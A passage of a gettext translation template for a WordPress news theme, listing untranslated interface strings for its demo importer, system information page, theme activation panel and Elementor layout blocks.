#: admin/import/lib/class-wp-import.php:151 msgid "All done." msgstr "" #: admin/import/lib/class-wp-import.php:151 msgid "Have fun!" msgstr "" #: admin/import/lib/class-wp-import.php:152 msgid "Remember to update the passwords and roles of imported users." msgstr "" #: admin/import/lib/class-wp-import.php:172 #, php-format msgid "" "The export file could not be found at %s. It is likely that " "this was caused by a permissions problem." msgstr "" #: admin/import/lib/class-wp-import.php:188 #, php-format msgid "" "This WXR file (version %s) may not be supported by this version of the " "importer. Please consider updating." msgstr "" #: admin/import/lib/class-wp-import.php:213 #, php-format msgid "" "Failed to import author %s. Their posts will be attributed to the current " "user." msgstr "" #: admin/import/lib/class-wp-import.php:239 msgid "Assign Authors" msgstr "" #: admin/import/lib/class-wp-import.php:240 msgid "" "To make it simpler for you to edit and save the imported content, you may " "want to reassign the author of the imported item to an existing user of this " "site, such as your primary administrator account." msgstr "" #: admin/import/lib/class-wp-import.php:242 #, php-format msgid "" "If a new user is created by WordPress, a new password will be randomly " "generated and the new user’s role will be set as %s. Manually changing " "the new user’s details will be necessary." msgstr "" #: admin/import/lib/class-wp-import.php:252 msgid "Import Attachments" msgstr "" #: admin/import/lib/class-wp-import.php:255 msgid "Download and import file attachments" msgstr "" #: admin/import/lib/class-wp-import.php:259 msgid "Submit" msgstr "" #: admin/import/lib/class-wp-import.php:272 msgid "Import author:" msgstr "" #: admin/import/lib/class-wp-import.php:284 msgid "or create new user with login name:" msgstr "" #: admin/import/lib/class-wp-import.php:287 msgid "as a new user:" msgstr "" #: admin/import/lib/class-wp-import.php:297 msgid "assign posts to an existing user:" msgstr "" #: admin/import/lib/class-wp-import.php:299 msgid "or assign posts to an existing user:" msgstr "" #: admin/import/lib/class-wp-import.php:307 msgid "- Select -" msgstr "" #: admin/import/lib/class-wp-import.php:361 #, php-format msgid "" "Failed to create new user for %s. Their posts will be attributed to the " "current user." msgstr "" #: admin/import/lib/class-wp-import.php:413 #, php-format msgid "Failed to import category %s" msgstr "" #: admin/import/lib/class-wp-import.php:458 #, php-format msgid "Failed to import post tag %s" msgstr "" #: admin/import/lib/class-wp-import.php:513 #: admin/import/lib/class-wp-import.php:739 #, php-format msgid "Failed to import %s %s" msgstr "" #: admin/import/lib/class-wp-import.php:606 #, php-format msgid "Failed to import “%s”: Invalid post type %s" msgstr "" #: admin/import/lib/class-wp-import.php:643 #, php-format msgid "%s “%s” already exists." msgstr "" #: admin/import/lib/class-wp-import.php:705 #, php-format msgid "Failed to import %s “%s”" msgstr "" #: admin/import/lib/class-wp-import.php:879 msgid "Menu item skipped due to missing menu slug" msgstr "" #: admin/import/lib/class-wp-import.php:886 #, php-format msgid "Menu item skipped due to invalid menu slug: %s" msgstr "" #: admin/import/lib/class-wp-import.php:949 msgid "Fetching attachments is not enabled" msgstr "" #: admin/import/lib/class-wp-import.php:962 msgid "Invalid file type" msgstr "" #: admin/import/lib/class-wp-import.php:1001 msgid "Could not create temporary file." msgstr "" #: admin/import/lib/class-wp-import.php:1020 #, php-format msgid "Request failed due to an error: %1$s (%2$s)" msgstr "" #: admin/import/lib/class-wp-import.php:1036 #, php-format msgid "Remote server returned the following unexpected result: %1$s (%2$s)" msgstr "" #: admin/import/lib/class-wp-import.php:1048 msgid "Remote server did not respond" msgstr "" #: admin/import/lib/class-wp-import.php:1055 msgid "Zero size file downloaded" msgstr "" #: admin/import/lib/class-wp-import.php:1060 msgid "Downloaded file has incorrect size" msgstr "" #: admin/import/lib/class-wp-import.php:1066 #, php-format msgid "Remote file is too large, limit is %s" msgstr "" #: admin/import/lib/class-wp-import.php:1098 msgid "Sorry, this file type is not permitted for security reasons." msgstr "" #: admin/import/lib/class-wp-import.php:1113 msgid "The uploaded file could not be moved" msgstr "" #: admin/import/lib/class-wp-import.php:1225 msgid "Import WordPress" msgstr "" #: admin/import/lib/class-wp-import.php:1232 #, php-format msgid "" "A new version of this importer is available. Please update to version %s to " "ensure compatibility with newer export files." msgstr "" #: admin/import/lib/class-wp-import.php:1247 msgid "" "Howdy! Upload your WordPress eXtended RSS (WXR) file and we’ll import " "the posts, pages, comments, custom fields, categories, and tags into this " "site." msgstr "" #: admin/import/lib/class-wp-import.php:1248 msgid "Choose a WXR (.xml) file to upload, then click Upload file and import." msgstr "" #: admin/import/lib/parsers/class-wxr-parser-regex.php:96 #: admin/import/lib/parsers/class-wxr-parser-simplexml.php:52 #: admin/import/lib/parsers/class-wxr-parser-simplexml.php:57 #: admin/import/lib/parsers/class-wxr-parser-xml.php:48 msgid "" "This does not appear to be a WXR file, missing/invalid WXR version number" msgstr "" #: admin/import/lib/parsers/class-wxr-parser-simplexml.php:40 #: admin/import/lib/parsers/class-wxr-parser-simplexml.php:48 #: admin/import/lib/parsers/class-wxr-parser.php:42 msgid "There was an error when reading this WXR file" msgstr "" #: admin/import/lib/parsers/class-wxr-parser.php:43 msgid "" "Details are shown above. The importer will now try again with a different " "parser..." msgstr "" #: admin/import/parts.php:12 msgid "Select Content" msgstr "" #: admin/import/parts.php:15 msgid "All Demo Content" msgstr "" #: admin/import/parts.php:19 msgid "Content (Posts, Pages & Media)" msgstr "" #: admin/import/parts.php:22 msgid "Only Pages" msgstr "" #: admin/import/parts.php:25 admin/tops/tops.php:30 admin/tops/tops.php:31 #: widgets/sb-social-icon.php:98 msgid "Theme Options" msgstr "" #: admin/import/parts.php:28 msgid "Widgets" msgstr "" #: admin/import/parts.php:73 msgid "Activated" msgstr "" #: admin/import/parts.php:76 admin/templates/validate-redirect.php:9 msgid "Activate" msgstr "" #: admin/import/parts.php:93 msgid "Install Package" msgstr "" #: admin/import/parts.php:115 msgid "Install" msgstr "" #: admin/import/radium-importer.php:278 admin/import/radium-importer.php:415 msgid "Widget Import file could not be found. Please try again." msgstr "" #: admin/import/radium-importer.php:319 msgid "Category settings file could not be found. Please try again." msgstr "" #: admin/import/radium-importer.php:479 msgid "Sidebar does not exist in theme (using Inactive)" msgstr "" #: admin/import/radium-importer.php:501 msgid "Site does not support widget" msgstr "" #: admin/import/radium-importer.php:524 msgid "Widget already exists" msgstr "" #: admin/import/radium-importer.php:572 msgid "Imported" msgstr "" #: admin/import/radium-importer.php:575 msgid "Imported to Inactive" msgstr "" #: admin/import/radium-importer.php:581 msgid "No Title" msgstr "" #: admin/import/template.php:7 msgid "Sorry, you are not allowed to install demos on this site." msgstr "" #: admin/import/template.php:11 msgid "Something went wrong, Try to re-activate the theme again!" msgstr "" #: admin/import/template.php:18 msgid "Ruby Demo Importer" msgstr "" #: admin/import/template.php:41 msgid "Already Imported" msgstr "" #: admin/import/template.php:45 admin/import/template.php:69 msgid "Import Demo" msgstr "" #: admin/import/template.php:59 msgid "Recommended Plugins" msgstr "" #: admin/import/template.php:68 admin/import/template.php:74 msgid "Importing..." msgstr "" #: admin/import/template.php:70 admin/import/template.php:76 msgid "Import Complete" msgstr "" #: admin/import/template.php:75 msgid "Re-Import" msgstr "" #: admin/rb-meta/rb-meta.php:768 admin/rb-meta/rb-meta.php:788 #: admin/taxonomy.php:83 admin/taxonomy.php:98 admin/taxonomy.php:387 #: admin/taxonomy.php:415 msgid "Delete" msgstr "" #: admin/system-info/system-info.php:28 admin/system-info/system-info.php:29 msgid "System Info" msgstr "" #: admin/system-info/system-info.php:43 msgid "PHP Version" msgstr "" #: admin/system-info/system-info.php:47 msgid "" "WordPress recommended PHP version 7.0 or greater to get better performance " "for your site." msgstr "" #: admin/system-info/system-info.php:50 msgid "Memory Limit" msgstr "" #: admin/system-info/system-info.php:54 msgid "" "The memory_limit value is set low. The theme recommended this value to be at " "least 64MB for the theme in order to work." msgstr "" #: admin/system-info/system-info.php:57 msgid "Max Input Vars" msgstr "" #: admin/system-info/system-info.php:61 msgid "" "The max_input_vars value is set low. The theme recommended this value to be " "at least 3000." msgstr "" #: admin/system-info/system-info.php:64 msgid "Post Max Size" msgstr "" #: admin/system-info/system-info.php:68 admin/system-info/system-info.php:75 msgid "" "The post_max_size value is set low. We recommended this value to be at least " "32M." msgstr "" #: admin/system-info/system-info.php:71 msgid "Max Upload Size" msgstr "" #: admin/system-info/system-info.php:86 msgid "WordPress Version" msgstr "" #: admin/system-info/system-info.php:90 msgid "Debug Mode" msgstr "" #: admin/system-info/system-info.php:93 msgid "" "Enabling WordPress debug mode might display details about your site's PHP " "code to visitors." msgstr "" #: admin/system-info/system-info.php:96 msgid "Debug Log" msgstr "" #: admin/system-info/system-info.php:100 msgid "Theme Name" msgstr "" #: admin/system-info/system-info.php:104 msgid "Theme Version" msgstr "" #: admin/system-info/system-info.php:108 msgid "Theme Author" msgstr "" #: admin/system-info/template.php:9 msgid "System Information" msgstr "" #: admin/system-info/template.php:10 msgid "" "This theme can work on all almost servers. However, we recommend following " "server settings as below if there have red values." msgstr "" #: admin/system-info/template.php:16 admin/templates/template-panel.php:69 msgid "PHP Information" msgstr "" #: admin/system-info/template.php:40 msgid "WordPress Info" msgstr "" #: admin/taxonomy.php:135 admin/taxonomy.php:391 msgid "Select File" msgstr "" #: admin/taxonomy.php:160 admin/taxonomy.php:419 msgid "Select Image" msgstr "" #: admin/templates/links.php:8 msgid "Online Documentation" msgstr "" #: admin/templates/links.php:9 msgid "Support Center" msgstr "" #: admin/templates/links.php:10 msgid "Themes" msgstr "" #: admin/templates/template-panel.php:10 msgid "Welcome to" msgstr "" #: admin/templates/template-panel.php:11 #, php-format msgid "Thank you for your awesome taste and choosing %s!" msgstr "" #: admin/templates/template-panel.php:19 #, php-format msgid "Activate %s" msgstr "" #: admin/templates/template-panel.php:20 #, php-format msgid "" "Please activate %s to unlock the full features of the theme and get access " "to premium dedicated support." msgstr "" #: admin/templates/template-panel.php:26 admin/templates/template-panel.php:54 msgid "Purchase Code" msgstr "" #: admin/templates/template-panel.php:27 msgid "Input purchase code..." msgstr "" #: admin/templates/template-panel.php:31 msgid "Support Email" msgstr "" #: admin/templates/template-panel.php:32 msgid "Input your email..." msgstr "" #: admin/templates/template-panel.php:36 msgid "Activate Theme" msgstr "" #: admin/templates/template-panel.php:38 msgid "How to find your purchase code?" msgstr "" #: admin/templates/template-panel.php:46 #, php-format msgid "%s is Activated" msgstr "" #: admin/templates/template-panel.php:48 #, php-format msgid "" "Thank you for choosing %s. Should you have any other concerns while using " "this theme, please feel free to contact us at any time via the above link." msgstr "" #: admin/templates/template-panel.php:58 msgid "Deactivate Theme" msgstr "" #: admin/templates/validate-redirect.php:10 msgid "" "Please activate your copy of the theme in order to get access to Import " "Demos panel and Theme Options." msgstr "" #: admin/templates/validate-redirect.php:15 msgid "Go to Activate Page" msgstr "" #: admin/translation/template.php:10 admin/translation/translation.php:31 #: admin/translation/translation.php:32 msgid "Quick Translation" msgstr "" #: admin/translation/template.php:11 msgid "Search and find the string you would like to translate." msgstr "" #: admin/translation/template.php:19 msgid "Fetch Translation Data" msgstr "" #: admin/translation/template.php:22 msgid "POT files not found." msgstr "" #: admin/translation/template.php:25 msgid "Re-fetch Translation Data" msgstr "" #: e-template/init.php:206 e-template/init.php:208 msgid "Ruby Templates" msgstr "" #: e-template/init.php:207 msgid "All Templates" msgstr "" #: e-template/init.php:209 msgid "Template" msgstr "" #: e-template/init.php:210 msgid "Add Template" msgstr "" #: e-template/init.php:211 msgid "New Template" msgstr "" #: e-template/init.php:212 e-template/init.php:213 msgid "Add New Template" msgstr "" #: e-template/init.php:214 msgid "Edit Template" msgstr "" #: e-template/init.php:215 msgid "No template item found." msgstr "" #: e-template/init.php:216 msgid "No template item found in Trash." msgstr "" #: e-template/init.php:249 msgid "Template Shortcode" msgstr "" #: elementor/ad-image.php:26 msgid "Foxiz - Ad Image" msgstr "" #: elementor/ad-image.php:42 elementor/ad-script.php:43 elementor/banner.php:43 #: elementor/heading.php:43 elementor/login-icon.php:42 #: elementor/notification-icon.php:42 elementor/plan.php:42 #: elementor/quick-links.php:46 elementor/search-icon.php:42 #: elementor/weather.php:43 msgid "General Settings" msgstr "" #: elementor/ad-image.php:49 elementor/ad-script.php:50 elementor/banner.php:60 #: elementor/newsletter-1.php:66 elementor/newsletter-2.php:66 #: elementor/newsletter-3.php:67 elementor/plan.php:59 widgets/banner.php:58 #: widgets/fw-mc.php:57 widgets/sb-ad-script.php:50 msgid "Description" msgstr "" #: elementor/ad-image.php:51 elementor/ad-script.php:52 msgid "Input a description for this adverting box." msgstr "" #: elementor/ad-image.php:52 elementor/ad-script.php:53 #: widgets/sb-ad-image.php:15 widgets/sb-ad-script.php:15 msgid "- Advertisement -" msgstr "" #: elementor/ad-image.php:58 msgid "Ad Image" msgstr "" #: elementor/ad-image.php:59 msgid "Upload your ad image." msgstr "" #: elementor/ad-image.php:66 msgid "Dark Mode - Ad Image" msgstr "" #: elementor/ad-image.php:67 msgid "Upload your ad image in the dark mode." msgstr "" #: elementor/ad-image.php:74 msgid "Ad Destination" msgstr "" #: elementor/ad-image.php:76 msgid "Input your ad destination URL." msgstr "" #: elementor/ad-image.php:83 elementor/ad-image.php:90 msgid "Image Max Width" msgstr "" #: elementor/ad-image.php:92 msgid "" "Input a max width value (in px) for your ad image, leave blank set full size." msgstr "" #: elementor/ad-image.php:102 elementor/ad-image.php:117 #: elementor/ad-script.php:112 elementor/ad-script.php:128 #: elementor/banner.php:154 elementor/banner.php:169 #: elementor/breaking-news.php:274 elementor/breaking-news.php:289 #: elementor/categories-1.php:170 elementor/categories-1.php:186 #: elementor/categories-5.php:151 elementor/categories-5.php:167 #: elementor/classic-1.php:574 elementor/classic-1.php:589 #: elementor/covid-data.php:108 elementor/covid-data.php:124 #: elementor/grid-1.php:611 elementor/grid-1.php:626 elementor/grid-2.php:610 #: elementor/grid-2.php:625 elementor/grid-box-1.php:610 #: elementor/grid-box-1.php:625 elementor/grid-box-2.php:610 #: elementor/grid-box-2.php:625 elementor/grid-small-1.php:619 #: elementor/grid-small-1.php:634 elementor/heading.php:270 #: elementor/heading.php:287 elementor/hierarchical-1.php:494 #: elementor/hierarchical-1.php:509 elementor/hierarchical-2.php:448 #: elementor/hierarchical-2.php:463 elementor/list-1.php:608 #: elementor/list-1.php:623 elementor/list-2.php:592 elementor/list-2.php:607 #: elementor/list-box-1.php:607 elementor/list-box-1.php:622 #: elementor/list-box-2.php:607 elementor/list-box-2.php:622 #: elementor/list-small-1.php:458 elementor/list-small-1.php:473 #: elementor/list-small-2.php:526 elementor/list-small-2.php:541 #: elementor/list-small-3.php:498 elementor/list-small-3.php:513 #: elementor/navigation.php:309 elementor/newsletter-1.php:157 #: elementor/newsletter-1.php:173 elementor/newsletter-2.php:166 #: elementor/newsletter-2.php:182 elementor/newsletter-3.php:148 #: elementor/newsletter-3.php:164 elementor/notification-icon.php:196 #: elementor/plan.php:298 elementor/plan.php:313 elementor/quick-links.php:110 #: elementor/quick-links.php:127 elementor/search-icon.php:201 #: elementor/social-follower.php:255 elementor/social-follower.php:270 #: elementor/weather.php:114 elementor/weather.php:129 widgets/banner.php:81 msgid "Text Color Scheme" msgstr "" #: elementor/ad-image.php:121 elementor/ad-script.php:132 #: elementor/banner.php:173 elementor/breaking-news.php:293 #: elementor/categories-1.php:190 elementor/categories-5.php:171 #: elementor/classic-1.php:593 elementor/covid-data.php:128 #: elementor/grid-1.php:630 elementor/grid-2.php:629 #: elementor/grid-box-1.php:629 elementor/grid-box-2.php:629 #: elementor/grid-small-1.php:638 elementor/heading.php:291 #: elementor/hierarchical-1.php:513 elementor/hierarchical-2.php:467 #: elementor/list-1.php:627 elementor/list-2.php:611 #: elementor/list-box-1.php:626 elementor/list-box-2.php:626 #: elementor/list-small-1.php:477 elementor/list-small-2.php:545 #: elementor/list-small-3.php:517 elementor/navigation.php:313 #: elementor/newsletter-1.php:177 elementor/newsletter-2.php:186 #: elementor/newsletter-3.php:168 elementor/notification-icon.php:200 #: elementor/plan.php:317 elementor/quick-links.php:131 #: elementor/search-icon.php:205 elementor/social-follower.php:274 #: elementor/weather.php:133 msgid "Default (Dark Text)" msgstr "" #: elementor/ad-image.php:122 elementor/ad-script.php:133 #: elementor/banner.php:174 elementor/breaking-news.php:294 #: elementor/categories-1.php:191 elementor/categories-5.php:172 #: elementor/classic-1.php:594 elementor/covid-data.php:129 #: elementor/grid-1.php:631 elementor/grid-2.php:630 #: elementor/grid-box-1.php:630 elementor/grid-box-2.php:630 #: elementor/grid-small-1.php:639 elementor/heading.php:292 #: elementor/hierarchical-1.php:514 elementor/hierarchical-2.php:468 #: elementor/list-1.php:628 elementor/list-2.php:612 #: elementor/list-box-1.php:627 elementor/list-box-2.php:627 #: elementor/list-small-1.php:478 elementor/list-small-2.php:546 #: elementor/list-small-3.php:518 elementor/navigation.php:314 #: elementor/newsletter-1.php:178 elementor/newsletter-2.php:187 #: elementor/newsletter-3.php:169 elementor/notification-icon.php:201 #: elementor/plan.php:318 elementor/quick-links.php:132 #: elementor/search-icon.php:206 elementor/social-follower.php:275 #: elementor/weather.php:134 widgets/banner.php:84 widgets/fw-mc.php:73 msgid "Light Text" msgstr "" #: elementor/ad-script.php:26 msgid "Foxiz - Ad Script" msgstr "" #: elementor/ad-script.php:59 widgets/sb-ad-script.php:57 msgid "Ad/Adsense Code" msgstr "" #: elementor/ad-script.php:61 widgets/sb-ad-script.php:58 msgid "" "Input your custom ad or Adsense code. Use Adsense units code to ensure it " "display exactly where you put. The widget will not work if you are using " "auto ads." msgstr "" #: elementor/ad-script.php:68 widgets/sb-ad-script.php:65 msgid "Ad Size" msgstr "" #: elementor/ad-script.php:70 msgid "Select a custom size for this ad if you use adsense ad units." msgstr "" #: elementor/ad-script.php:72 widgets/sb-ad-script.php:68 msgid "Do not Override" msgstr "" #: elementor/ad-script.php:73 widgets/sb-ad-script.php:69 msgid "Custom Size Below" msgstr "" #: elementor/ad-script.php:82 widgets/sb-ad-script.php:77 msgid "Size on Desktop" msgstr "" #: elementor/ad-script.php:84 msgid "Select a size on the desktop device." msgstr "" #: elementor/ad-script.php:92 widgets/sb-ad-script.php:86 msgid "Size on Tablet" msgstr "" #: elementor/ad-script.php:94 msgid "Select a size on the tablet device." msgstr "" #: elementor/ad-script.php:102 widgets/sb-ad-script.php:95 msgid "Size on Mobile" msgstr "" #: elementor/ad-script.php:104 msgid "Select a size on the mobile device." msgstr "" #: elementor/banner.php:26 msgid "Foxiz - Sidebar Banner" msgstr "" #: elementor/banner.php:50 elementor/heading.php:50 elementor/plan.php:49 #: elementor/weather.php:51 widgets/banner.php:51 widgets/fw-mc.php:50 #: widgets/sb-ad-image.php:48 widgets/sb-address.php:52 #: widgets/sb-facebook.php:45 widgets/sb-flickr.php:48 #: widgets/sb-follower.php:65 widgets/sb-instagram.php:50 #: widgets/sb-post.php:56 widgets/sb-social-icon.php:70 widgets/sb-tweet.php:51 #: widgets/sb-weather.php:49 widgets/sb-youtube.php:46 msgid "Title" msgstr "" #: elementor/banner.php:53 elementor/plan.php:52 msgid "Input a title for this banner." msgstr "" #: elementor/banner.php:63 msgid "Input a description for this banner." msgstr "" #: elementor/banner.php:70 widgets/banner.php:93 msgid "Button Destination URL" msgstr "" #: elementor/banner.php:78 widgets/banner.php:100 msgid "Button Label" msgstr "" #: elementor/banner.php:86 widgets/banner.php:65 widgets/fw-mc.php:89 msgid "Background Image URL" msgstr "" #: elementor/banner.php:87 widgets/banner.php:66 msgid "Input a background image (attachment URL) for this banner." msgstr "" #: elementor/banner.php:94 widgets/banner.php:73 msgid "Dark Mode - Background Image URL" msgstr "" #: elementor/banner.php:95 widgets/banner.php:74 msgid "" "Input a background image (attachment URL) for this banner in the dark mode." msgstr "" #: elementor/banner.php:102 elementor/categories-1.php:299 #: elementor/categories-2.php:280 elementor/categories-3.php:298 #: elementor/categories-4.php:270 elementor/categories-5.php:280 #: elementor/classic-1.php:700 elementor/grid-1.php:738 #: elementor/grid-2.php:736 elementor/grid-box-1.php:780 #: elementor/grid-box-2.php:736 elementor/grid-small-1.php:745 #: elementor/hierarchical-1.php:561 elementor/hierarchical-2.php:515 #: elementor/hierarchical-3.php:520 elementor/list-1.php:726 #: elementor/list-2.php:718 elementor/list-box-1.php:769 #: elementor/list-box-2.php:769 elementor/list-small-1.php:613 #: elementor/list-small-2.php:652 elementor/list-small-3.php:624 #: elementor/overlay-1.php:599 elementor/overlay-2.php:703 #: elementor/plan.php:279 elementor/plan.php:286 msgid "Spacing" msgstr "" #: elementor/banner.php:109 elementor/newsletter-2.php:127 msgid "Inner Padding" msgstr "" #: elementor/banner.php:111 msgid "Input a custom inner padding value this block." msgstr "" #: elementor/banner.php:123 elementor/grid-1.php:583 elementor/grid-2.php:582 #: elementor/grid-box-1.php:582 elementor/grid-box-2.php:582 #: elementor/grid-small-1.php:591 elementor/heading.php:142 #: elementor/list-small-1.php:448 elementor/list-small-2.php:498 #: elementor/list-small-3.php:488 elementor/login-icon.php:80 #: elementor/overlay-1.php:463 elementor/overlay-2.php:567 #: elementor/plan.php:224 msgid "Font Size" msgstr "" #: elementor/banner.php:130 elementor/categories-1.php:122 #: elementor/categories-2.php:122 elementor/categories-3.php:122 #: elementor/categories-4.php:122 elementor/categories-5.php:121 #: elementor/classic-1.php:475 elementor/grid-1.php:475 #: elementor/grid-2.php:474 elementor/grid-box-1.php:474 #: elementor/grid-box-2.php:474 elementor/grid-small-1.php:483 #: elementor/hierarchical-1.php:386 elementor/hierarchical-2.php:358 #: elementor/hierarchical-3.php:373 elementor/list-1.php:509 #: elementor/list-2.php:493 elementor/list-box-1.php:508 #: elementor/list-box-2.php:508 elementor/list-small-1.php:340 #: elementor/list-small-2.php:390 elementor/list-small-3.php:380 #: elementor/newsletter-1.php:137 elementor/newsletter-2.php:146 #: elementor/newsletter-3.php:120 elementor/overlay-1.php:355 #: elementor/overlay-2.php:459 msgid "Title Font Size" msgstr "" #: elementor/banner.php:132 msgid "Input a custom font size (in px) for the title." msgstr "" #: elementor/banner.php:142 elementor/newsletter-1.php:146 #: elementor/newsletter-2.php:155 elementor/newsletter-3.php:129 #: elementor/plan.php:243 msgid "Description Font Size" msgstr "" #: elementor/banner.php:144 elementor/plan.php:245 elementor/plan.php:257 msgid "Input a custom font size (in px) for the description." msgstr "" #: elementor/banner.php:182 elementor/breaking-news.php:302 #: elementor/categories-1.php:199 elementor/categories-2.php:180 #: elementor/categories-3.php:190 elementor/categories-4.php:170 #: elementor/categories-5.php:180 elementor/classic-1.php:602 #: elementor/covid-data.php:137 elementor/grid-1.php:639 #: elementor/grid-2.php:638 elementor/grid-box-1.php:638 #: elementor/grid-box-2.php:638 elementor/grid-small-1.php:647 #: elementor/heading.php:300 elementor/hierarchical-1.php:522 #: elementor/hierarchical-2.php:476 elementor/hierarchical-3.php:481 #: elementor/list-1.php:636 elementor/list-2.php:620 #: elementor/list-box-1.php:635 elementor/list-box-2.php:635 #: elementor/list-small-1.php:486 elementor/list-small-2.php:554 #: elementor/list-small-3.php:526 elementor/newsletter-1.php:186 #: elementor/newsletter-2.php:195 elementor/newsletter-3.php:177 #: elementor/overlay-1.php:491 elementor/overlay-2.php:595 #: elementor/plan.php:326 elementor/quick-links.php:141 #: elementor/social-follower.php:283 elementor/videos.php:141 #: elementor/weather.php:142 msgid "Custom Font" msgstr "" #: elementor/banner.php:197 elementor/newsletter-1.php:201 #: elementor/newsletter-2.php:210 elementor/newsletter-3.php:192 #: elementor/weather.php:149 msgid "Title Font" msgstr "" #: elementor/banner.php:205 elementor/categories-3.php:221 #: elementor/newsletter-1.php:209 elementor/newsletter-2.php:218 #: elementor/newsletter-3.php:200 elementor/plan.php:349 #: elementor/social-follower.php:306 msgid "Description Font" msgstr "" #: elementor/base.php:52 msgid "Foxiz Blocks" msgstr "" #: elementor/base.php:59 msgid "Foxiz Header" msgstr "" #: elementor/breaking-news.php:26 msgid "Foxiz - Breaking News" msgstr "" #: elementor/breaking-news.php:43 elementor/classic-1.php:39 #: elementor/grid-1.php:39 elementor/grid-2.php:38 elementor/grid-box-1.php:38 #: elementor/grid-box-2.php:38 elementor/grid-small-1.php:39 #: elementor/hierarchical-1.php:42 elementor/hierarchical-2.php:43 #: elementor/hierarchical-3.php:43 elementor/list-1.php:44 #: elementor/list-2.php:38 elementor/list-box-1.php:44 #: elementor/list-box-2.php:44 elementor/list-small-1.php:43 #: elementor/list-small-2.php:43 elementor/list-small-3.php:43 #: elementor/overlay-1.php:43 elementor/overlay-2.php:43 msgid "Query Settings" msgstr "" #: elementor/breaking-news.php:67 elementor/breaking-news.php:78 #: elementor/classic-1.php:64 elementor/classic-1.php:75 #: elementor/grid-1.php:64 elementor/grid-1.php:75 elementor/grid-2.php:63 #: elementor/grid-2.php:74 elementor/grid-box-1.php:63 #: elementor/grid-box-1.php:74 elementor/grid-box-2.php:63 #: elementor/grid-box-2.php:74 elementor/grid-small-1.php:63 #: elementor/grid-small-1.php:74 elementor/hierarchical-1.php:66 #: elementor/hierarchical-1.php:77 elementor/hierarchical-2.php:67 #: elementor/hierarchical-2.php:78 elementor/hierarchical-3.php:68 #: elementor/hierarchical-3.php:79 elementor/list-1.php:69 #: elementor/list-1.php:80 elementor/list-2.php:62 elementor/list-2.php:73 #: elementor/list-box-1.php:69 elementor/list-box-1.php:80 #: elementor/list-box-2.php:69 elementor/list-box-2.php:80 #: elementor/list-small-1.php:67 elementor/list-small-1.php:78 #: elementor/list-small-2.php:67 elementor/list-small-2.php:78 #: elementor/list-small-3.php:67 elementor/list-small-3.php:78 #: elementor/overlay-1.php:67 elementor/overlay-1.php:78 #: elementor/overlay-2.php:67 elementor/overlay-2.php:78 widgets/sb-post.php:62 msgid "Category Filter" msgstr "" #: elementor/breaking-news.php:90 elementor/classic-1.php:87 #: elementor/grid-1.php:87 elementor/grid-2.php:86 elementor/grid-box-1.php:86 #: elementor/grid-box-2.php:86 elementor/grid-small-1.php:86 #: elementor/hierarchical-1.php:88 elementor/hierarchical-2.php:90 #: elementor/hierarchical-3.php:91 elementor/list-1.php:92 #: elementor/list-2.php:85 elementor/list-box-1.php:92 #: elementor/list-box-2.php:92 elementor/list-small-1.php:90 #: elementor/list-small-2.php:90 elementor/list-small-3.php:90 #: elementor/overlay-1.php:90 elementor/overlay-2.php:90 widgets/sb-post.php:70 msgid "Categories Filter" msgstr "" #: elementor/breaking-news.php:99 elementor/classic-1.php:96 #: elementor/grid-1.php:96 elementor/grid-2.php:95 elementor/grid-box-1.php:95 #: elementor/grid-box-2.php:95 elementor/grid-small-1.php:95 #: elementor/hierarchical-1.php:97 elementor/hierarchical-2.php:99 #: elementor/hierarchical-3.php:100 elementor/list-1.php:101 #: elementor/list-2.php:94 elementor/list-box-1.php:101 #: elementor/list-box-2.php:101 elementor/list-small-1.php:99 #: elementor/list-small-2.php:99 elementor/list-small-3.php:99 #: elementor/overlay-1.php:99 elementor/overlay-2.php:99 widgets/sb-post.php:77 msgid "Tags Slug Filter" msgstr "" #: elementor/breaking-news.php:108 elementor/classic-1.php:105 #: elementor/grid-1.php:105 elementor/grid-2.php:104 #: elementor/grid-box-1.php:104 elementor/grid-box-2.php:104 #: elementor/grid-small-1.php:104 elementor/hierarchical-1.php:106 #: elementor/hierarchical-2.php:108 elementor/hierarchical-3.php:109 #: elementor/list-1.php:110 elementor/list-2.php:103 #: elementor/list-box-1.php:110 elementor/list-box-2.php:110 #: elementor/list-small-1.php:108 elementor/list-small-2.php:108 #: elementor/list-small-3.php:108 elementor/overlay-1.php:108 #: elementor/overlay-2.php:108 widgets/sb-post.php:84 msgid "Exclude Tags Slug" msgstr "" #: elementor/breaking-news.php:117 elementor/classic-1.php:114 #: elementor/grid-1.php:114 elementor/grid-2.php:113 #: elementor/grid-box-1.php:113 elementor/grid-box-2.php:113 #: elementor/grid-small-1.php:113 elementor/hierarchical-1.php:115 #: elementor/hierarchical-2.php:117 elementor/hierarchical-3.php:118 #: elementor/list-1.php:119 elementor/list-2.php:112 #: elementor/list-box-1.php:119 elementor/list-box-2.php:119 #: elementor/list-small-1.php:117 elementor/list-small-2.php:117 #: elementor/list-small-3.php:117 elementor/overlay-1.php:117 #: elementor/overlay-2.php:117 widgets/sb-post.php:91 msgid "Post Format" msgstr "" #: elementor/breaking-news.php:127 elementor/classic-1.php:124 #: elementor/grid-1.php:124 elementor/grid-2.php:123 #: elementor/grid-box-1.php:123 elementor/grid-box-2.php:123 #: elementor/grid-small-1.php:123 elementor/hierarchical-1.php:125 #: elementor/hierarchical-2.php:127 elementor/hierarchical-3.php:128 #: elementor/list-1.php:129 elementor/list-2.php:122 #: elementor/list-box-1.php:129 elementor/list-box-2.php:129 #: elementor/list-small-1.php:127 elementor/list-small-2.php:127 #: elementor/list-small-3.php:127 elementor/overlay-1.php:127 #: elementor/overlay-2.php:127 msgid "Author Filter" msgstr "" #: elementor/breaking-news.php:137 elementor/classic-1.php:134 #: elementor/grid-1.php:134 elementor/grid-2.php:133 #: elementor/grid-box-1.php:133 elementor/grid-box-2.php:133 #: elementor/grid-small-1.php:133 elementor/hierarchical-1.php:135 #: elementor/hierarchical-2.php:137 elementor/hierarchical-3.php:138 #: elementor/list-1.php:139 elementor/list-2.php:132 #: elementor/list-box-1.php:139 elementor/list-box-2.php:139 #: elementor/list-small-1.php:137 elementor/list-small-2.php:137 #: elementor/list-small-3.php:137 elementor/overlay-1.php:137 #: elementor/overlay-2.php:137 widgets/sb-post.php:105 msgid "Exclude Post IDs" msgstr "" #: elementor/breaking-news.php:146 elementor/classic-1.php:143 #: elementor/grid-1.php:143 elementor/grid-2.php:142 #: elementor/grid-box-1.php:142 elementor/grid-box-2.php:142 #: elementor/grid-small-1.php:142 elementor/hierarchical-1.php:144 #: elementor/hierarchical-2.php:146 elementor/hierarchical-3.php:147 #: elementor/list-1.php:148 elementor/list-2.php:141 #: elementor/list-box-1.php:148 elementor/list-box-2.php:148 #: elementor/list-small-1.php:146 